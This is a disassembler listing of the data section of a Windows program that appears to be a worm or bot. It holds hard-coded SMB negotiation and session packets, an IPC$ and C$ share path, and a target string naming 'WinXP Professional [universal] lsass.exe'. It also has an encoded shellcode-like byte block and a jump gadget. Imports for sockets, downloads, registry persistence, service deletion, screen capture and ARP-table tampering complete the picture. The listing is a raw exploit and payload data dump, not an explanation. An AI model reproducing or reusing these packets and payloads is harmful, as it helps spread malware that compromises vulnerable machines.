		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_42C030	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:0041243Eo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_42C0C0	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00412470o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_42C170	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:0041249Bo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_42C250	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004121DEo
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_5:					; DATA XREF: .text:00412221o
		unicode	0, <C$>,0
a?????_0	db '?????',0
		dd 2 dup(0)
dword_42C2B8	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004124F3o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_42C328	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:0041251Eo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_42C3D0	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00412552o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_42C450	dd offset loc_401495	; DATA XREF: .text:00412582o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_42C4E8	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004125B4o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_42C558	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004125D9o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_42C5D0	dd 0				dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_42C690	dd 1004600h						; .text:004122F9r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0
		dd 9875h, 9873h
off_42C718	dd offset sub_413498	; DATA XREF: sub_4143FBr
		dd offset nullsub_1
		dd offset nullsub_1
		align 10h
dword_42C730	dd 19930520h, 3	dup(0)					; sub_413EDA+2o
off_42C740	dd offset sub_414544	; DATA XREF: sub_4148E1+1Cr
dword_42C744	dd 2							; sub_419FC1+Er ...
off_42C748	dd offset aNull_1	; DATA XREF: sub_414CA3:loc_415069r
					; sub_414CA3+4E4r
					; "(null)"
off_42C74C	dd offset aNull		; DATA XREF: sub_414CA3+2ACr
					; "(null)"
dword_42C750	dd 0FFFFFFFFh						; sub_415438+16w ...
		align 10h
		dd 43h,	0
dword_42C768	dd 1, 8	dup(0)						; .data:off_42C7BCo
		dd 2 dup(1), 3 dup(0)
		dd offset off_42D164
		align 10h
		dd offset word_427AB2
		dd offset off_42D0A8
		dd 0
off_42C7BC	dd offset dword_42C768	; DATA XREF: sub_412EBA+Ar
					; sub_41364A+Fr ...
		dd 0
		dd 1, 8	dup(0)
		dd 43h,	21h dup(0)
		dd 43h,	23h dup(0)
off_42C900	dd offset dword_47A660	; DATA XREF: sub_4165B6+52o
					; sub_416673+4o ...
		align 8
		dd offset dword_47A660
		dd 101h
dword_42C910	dd 2 dup(0)			dd 1000h, 0
dword_42C920	dd 3 dup(0)						; sub_418FBC+12o
		dd 2, 1, 3 dup(0)
dword_42C940	dd 3 dup(0)						; sub_418FBC:loc_418FDAo
		dd 2 dup(2), 7 dup(0)
dword_42C970	dd 7Ch dup(0)	dword_42CB60	dd 8 dup(0)						; sub_4166C5+Do
dword_42CB80	dd 10h,	0	dword_42CB88	dd 0							; sub_416818+8o ...
dword_42CB8C	dd 1				dd 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 22h dup(0)
dword_42CCA8	dd 2 dup(0)						; sub_416818+4Ao
dword_42CCB0	dd 1		dword_42CCB4	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_42CE18	dd offset sub_41C836	; DATA XREF: sub_413460+5w
					; sub_414CA3+43Er
off_42CE1C	dd offset sub_41C836	; DATA XREF: sub_413460+Aw
					; sub_414CA3+46Ar
off_42CE20	dd offset sub_41C836	; DATA XREF: sub_413460+14w
					; sub_41554C+40Dr
off_42CE24	dd offset sub_41C836	; DATA XREF: sub_413460+1Ew
					; sub_414CA3+459r
off_42CE28	dd offset sub_41C836	; DATA XREF: sub_413460+28w
off_42CE2C	dd offset sub_41C836	; DATA XREF: sub_413460+32w
off_42CE30	dd offset word_427AB2	; DATA XREF: sub_41364A:loc_41371Cr
					; sub_414CA3:loc_414EA2r ...
		dd offset dword_427CB8+2
dword_42CE38	dd 0BB40E64Eh						; sub_414CA3+9r ...
		dd offset sub_41CD5F
off_42CE40	dd offset sub_418F0B	; DATA XREF: sub_418F40+Cr
		align 10h
byte_42CE50	db 1			; DATA XREF: sub_4192C7+C8r
		db 2, 4, 8
		align 8
dword_42CE58	dd 3A4h		dword_42CE5C	dd 82798260h			dd 21h,	0
dword_42CE68	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
off_42CF48	dd offset sub_41CEA3	; DATA XREF: sub_4197D8+11Dr
					; sub_4197D8+1D8r ...
dword_42CF4C	dd 173Fh	dword_42CF50	dd 2							; sub_419E4A+32r
off_42CF54	dd offset aR6002FloatingP ; DATA XREF: sub_419E4A+DEr
					; sub_419E4A+11Br ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 42832Ch, 9, 428300h, 0Ah,	428268h, 10h, 42823Ch
		dd 11h,	42820Ch, 12h, 4281E8h, 13h, 4281BCh, 18h, 428184h
		dd 19h,	42815Ch, 1Ah, 428124h, 1Bh, 4280ECh, 1Ch, 4280C4h
		dd 78h,	4280B4h, 79h, 4280A4h, 7Ah, 428094h, 0FCh, 420620h
		dd 0FFh, 428084h
dword_42CFE0	dd 0C0000005h, 0Bh, 0					; sub_4154C7+47o
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_42D058	dd 3							; sub_419FFA+A3r ...
dword_42D05C	dd 7							; sub_419FFA+A9r ...
		dd 78h
dword_42D064	dd 0Ah							; sub_41E335r
dword_42D068	dd 0FFFFFFFFh, 0A80h, 7	dup(0)					; sub_417455:loc_4174DBo
dword_42D08C	dd 1		byte_42D090	db 2Eh			; DATA XREF: sub_41554C:loc_415857r
					; sub_41554C+329r ...
		align 4
		dd 1, 2	dup(0)
		dd offset off_42D0A8
		align 8
off_42D0A8	dd offset aSun		; DATA XREF: .data:0042C7B4o
					; .data:0042D0A0o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm		; "AM"
		dd offset aPm		; "PM"
		dd offset aMmDdYy	; "MM/dd/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset aHhMmSs	; "HH:mm:ss"
		dd 409h, 1, 0
dword_42D160	dd 2Eh		off_42D164	dd offset dword_42D160	; DATA XREF: sub_41B24B+15r
					; .data:0042C7A0o ...
off_42D168	dd offset dword_47A140	; DATA XREF: sub_41B24B+32r
off_42D16C	dd offset dword_47A140	; DATA XREF: sub_41B24B+4Er
off_42D170	dd offset dword_47A140	; DATA XREF: sub_41B2AA+1Br
off_42D174	dd offset dword_47A140	; DATA XREF: sub_41B2AA+38r
off_42D178	dd offset dword_47A140	; DATA XREF: sub_41B2AA+55r
off_42D17C	dd offset dword_47A140	; DATA XREF: sub_41B2AA+72r
off_42D180	dd offset dword_47A140	; DATA XREF: sub_41B2AA+8Fr
off_42D184	dd offset dword_47A140	; DATA XREF: sub_41B2AA+ACr
off_42D188	dd offset dword_47A140	; DATA XREF: sub_41B2AA+C8r
		dd 2 dup(7F7F7F7Fh)
off_42D194	dd offset off_42D164	; DATA XREF: sub_41B24B+Br
					; sub_41B24B+27r ...
		align 10h
		dd 1, 3	dup(0)
dword_42D1B0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_42D1C8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_42D1E0	dd 2694h						; sub_41D4B3+60r
		align 8
dword_42D1E8	dd 14h		off_42D1EC	dd offset aExp		; DATA XREF: sub_41D3C2:loc_41D43Ar
					; "exp"
		dd 1Dh,	428058h, 1Ah, 426084h, 1Bh, 42805Ch, 1Fh, 4287F0h
		dd 13h,	4287E8h, 21h, 4287E0h, 0Eh, 4287D8h, 0Dh, 4287D0h
		dd 0Fh,	428020h, 10h, 4287C8h, 5, 4287C0h, 1Eh,	4287BCh
		dd 12h,	4287B8h, 20h, 4287B4h, 0Ch, 428028h, 0Bh, 428030h
		dd 15h,	4287ACh, 1Ch, 428038h, 19h, 4287A4h, 11h, 42879Ch
		dd 18h,	428794h, 16h, 42878Ch, 17h, 428784h, 22h, 428780h
		dd 23h,	42877Ch, 24h, 428778h, 25h, 428770h, 26h, 428764h
dbl_42D2D0	dq 1.797693134862316e308 ; DATA	XREF: sub_41D14B+BCr
					; sub_41D14B:loc_41D239r ...
		dd 0
		dd 0FFF80000h
dbl_42D2E0	dq 1.797693134862316e308 ; DATA	XREF: sub_41D14B+93r
					; sub_41D14B:loc_41D20Fr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_42D2F8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41D702+Br
					; sub_41D702+1Er
		align 4
tbyte_42D304	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41D702+31r
		align 10h
		dd 7080h, 1, 0FFFFF1F0h, 0
dword_42D320	dd 545350h, 0Fh	dup(0)dword_42D360	dd 544450h, 0Fh	dup(0)		dd offset dword_42D320
		dd offset dword_42D360
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch, 2 dup(0)
dword_42D430	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_42D590	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41E7DB+26o
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	5 dup(0)
dword_42D700	dd 0							; sub_401525+CFw ...
dword_42D704	dd 0							; sub_4018D1+EEw ...
		dd 3E6h	dup(0)
dword_42E6A0	dd 6 dup(0)						; sub_40169B+129o ...
dword_42E6B8	dd 0							; sub_401141+35Eo
dword_42E6BC	dd 0A2h	dup(0)	dword_42E944	dd 41h dup(0)	dword_42EA48	dd 0							; sub_401141+30Cr
		align 10h
dword_42EA50	dd 0							; sub_401141+370r
dword_42EA54	dd 0		dword_42EA58	dd 0		dword_42EA5C	dd 0				dd 0
dword_42EA64	dd 0		dword_42EA68	dd 0							; sub_401141+215r ...
dword_42EA6C	dd 41h dup(0)	dword_42EB70	dd 41h dup(0)	dword_42EC74	dd 0							; sub_401141+261r
dword_42EC78	dd 0		dword_42EC7C	dd 0							; sub_401141+20Fr
dword_42EC80	dd 20h dup(0)						; sub_401141+1FAo
dword_42ED00	dd 0		dword_42ED04	dd 0							; sub_401141+204w
dword_42ED08	dd 0				align 10h
dword_42ED10	dd 0							; sub_401141+102o
dword_42ED14	dd 41h dup(0)	dword_42EE18	dd 41h dup(0)	dword_42EF1C	dd 0							; sub_401141+114r
dword_42EF20	dd 0		dword_42EF24	dd 0							; sub_401141+CFr
dword_42EF28	dd 20h dup(0)						; sub_401141+BAo
dword_42EFA8	dd 0		dword_42EFAC	dd 0							; sub_401141+C4w
dword_42EFB0	dd 0				align 8
dword_42EFB8	dd 1000h dup(0)						; sub_401CD3o ...
dword_432FB8	dd 0Dh dup(0)						; sub_401CD3+Eo ...
dword_432FEC	dd 0		dword_432FF0	dd 0							; sub_402A0E+51r ...
dword_432FF4	dd 0							; sub_402B1D+6Aw ...
byte_432FF8	db 0			; DATA XREF: sub_404249+11Ew
					; sub_404249+220o
		align 2
word_432FFA	dw 0			; DATA XREF: sub_404249+12Bw
word_432FFC	dw 0			; DATA XREF: sub_404249+136w
word_432FFE	dw 0			; DATA XREF: sub_404249+13Fw
byte_433000	db 0			; DATA XREF: sub_404249+145w
byte_433001	db 0			; DATA XREF: sub_404249+14Cw
word_433002	dw 0			; DATA XREF: sub_404249+153w
dword_433004	dd 0							; sub_404249+19Bw
dword_433008	dd 0		byte_43300C	db 0			; DATA XREF: sub_404249+1B2w
byte_43300D	db 0			; DATA XREF: sub_404249+1C2w
word_43300E	dw 0			; DATA XREF: sub_404249+1D5w
word_433010	dw 0			; DATA XREF: sub_404249+1E7w
word_433012	dw 0			; DATA XREF: sub_404249+1DDw
dword_433014	dd 100h	dup(0)	dword_433414	dd 0		; resolved to->WSOCK32.recv					; sub_4028A8+F8r ...
dword_433418	dd 0		; resolved to->WS2_32.getsockname					; sub_40468E+72Cr ...
dword_43341C	dd 0							; sub_40468E+9AEr
dword_433420	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_40468E+834r
dword_433424	dd 0		; resolved to->WS2_32.WSASocketA					; sub_40468E+64Cr
dword_433428	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_40468E+7F5r ...
dword_43342C	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_40468E+8Cw ...
dword_433430	dd 0		; resolved to->USER32.CloseClipboard					; sub_40468E+1E2r ...
dword_433434	dd 0		; resolved to->USER32.IsWindow					; sub_40468E+1C2r
dword_433438	dd 0		; resolved to->WSOCK32.recvfrom					; sub_40468E+6FCr ...
dword_43343C	dd 0		; resolved to->GDI32.SelectObject					; sub_40468E+463r
dword_433440	dd 0		dword_433444	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_403E06+B1r ...
dword_433448	dd 0		; resolved to->WININET.InternetOpenA					; sub_40468E+7FBr
dword_43344C	dd 0		; resolved to->USER32.OpenClipboard					; sub_40468E+1D2r ...
dword_433450	dd 0		; resolved to->KERNEL32.Process32Next					; sub_40468E+CAr ...
dword_433454	dd 0							; sub_40468E+99Er
dword_433458	dd 0		; resolved to->WS2_32.connect					; sub_4028A8+8Dr ...
dword_43345C	dd 0							; sub_40468E+BA6r ...
dword_433460	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_40468E+27Cr
dword_433464	dd 0		; resolved to->WS2_32.accept					; sub_40468E+5E6w ...
dword_433468	dd 0							; .text:00412A31r
dword_43346C	dd 0							; sub_40468E+9B6r ...
dword_433470	dd 0		; resolved to->WS2_32.sendto					; sub_40468E+598w ...
dword_433474	dd 0		; resolved to->SHELL32.SHChangeNotifydword_433478	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_40468E+ADr ...
dword_43347C	dd 0							; sub_40468E+AD6r
dword_433480	dd 0							; sub_40468E+9C6r ...
dword_433484	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_40468E+23Ew ...
dword_433488	dd 0							; sub_40468E+981r ...
dword_43348C	dd 0							; sub_40468E+9CEr ...
dword_433490	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40468E+BAr ...
dword_433494	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_40468E+367r ...
dword_433498	dd 0		; resolved to->USER32.DestroyWindow					; sub_40468E+1CAr
dword_43349C	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_40468E+72w ...
dword_4334A0	dd 0		; resolved to->WS2_32.socket					; sub_4028A8+45r ...
dword_4334A4	dd 0							; sub_40468E+98Er ...
dword_4334A8	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_40468E+7D4w ...
dword_4334AC	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_40468E+A5Dr ...
dword_4334B0	dd 0		; resolved to->WS2_32.WSAStartup					; sub_40468E+4BBw ...
dword_4334B4	dd 0							; sub_4065CE+72r
dword_4334B8	dd 0		; resolved to->KERNEL32.Module32First					; sub_4070E8+15Cr ...
dword_4334BC	dd 0		; resolved to->WSOCK32.setsockopt					; sub_40468E+5F3w ...
dword_4334C0	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_40468E+EAr ...
dword_4334C4	dd 0							; sub_40468E+BB6r ...
dword_4334C8	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_40468E+810r
dword_4334CC	dd 0		; resolved to->GDI32.DeleteDC					; sub_40468E+473r
dword_4334D0	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_40468E+36Fr ...
dword_4334D4	dd 0		; resolved to->WININET.InternetConnectA					; sub_40468E+820r
dword_4334D8	dd 0							; sub_40468E+9A6r ...
dword_4334DC	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_40468E+258w ...
dword_4334E0	dd 0		; resolved to->WS2_32.getpeername					; sub_40E00D+E3r
dword_4334E4	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_40468E+F2r
dword_4334E8	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_40468E+231w ...
dword_4334EC	dd 0		; resolved to->KERNEL32.Process32First					; sub_40468E+C2r ...
dword_4334F0	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_40468E+8B6r ...
dword_4334F4	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_40468E+4E2w ...
dword_4334F8	dd 0		; resolved to->USER32.FindWindowA					; sub_40468E+1BAr ...
dword_4334FC	dd 0		; resolved to->WININET.InternetCloseHandle					; sub_40468E+801w
dword_433500	dd 0		; resolved to->WS2_32.gethostbyname					; sub_40468E+73Cr ...
dword_433504	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_433508	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_40707D+55r
dword_43350C	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_406B55+98r
dword_433510	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_40468E+453r
dword_433514	dd 0		; resolved to->WS2_32.inet_addr					; sub_4028A8+25r ...
dword_433518	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_40468E+44Br
dword_43351C	dd 0		; resolved to->GDI32.DeleteObjectdword_433520	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_40169B+77r ...
dword_433524	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_40468E+8C3r ...
dword_433528	dd 0		; resolved to->GDI32.BitBlt					; sub_40468E+46Br
dword_43352C	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_40468E+658r ...
dword_433530	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_40FE1F+EDr
